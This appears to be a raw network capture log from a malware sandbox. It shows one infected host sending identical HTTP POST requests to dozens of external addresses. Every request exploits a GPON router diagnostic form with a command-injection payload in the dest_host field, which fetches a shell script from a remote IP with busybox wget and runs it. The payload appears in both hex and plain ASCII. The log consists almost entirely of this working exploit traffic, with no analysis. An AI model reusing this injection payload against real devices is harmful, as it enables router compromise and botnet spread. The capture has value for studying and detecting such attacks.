Mar 21, 2024 05:21:47.431711912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	42432	109.63.186.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431736946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	35296	109.120.92.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431751013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	60282	118.60.191.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431780100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	49056	109.97.132.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431813955 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	52138	5.141.99.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431858063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	35520	118.130.26.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431874990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	46990	109.43.93.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431901932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	54654	212.81.77.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431935072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	35730	212.44.62.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431962967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	45064	5.179.254.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431971073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	58888	109.179.215.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.431993008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	38144	118.93.127.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432029009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	42714	5.54.198.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432081938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	60732	118.69.81.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432090044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	47524	212.2.238.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432125092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	35458	118.193.175.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432193041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	54006	109.100.194.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432223082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	48776	5.212.10.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432241917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	60316	118.188.170.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432297945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	49740	42.13.255.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432320118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	55516	212.53.200.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432348013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	34032	212.247.40.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432405949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	38018	5.82.29.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.432430029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	33954	42.59.114.99	443

Timestamp	Bytes transferred	Direction	Data
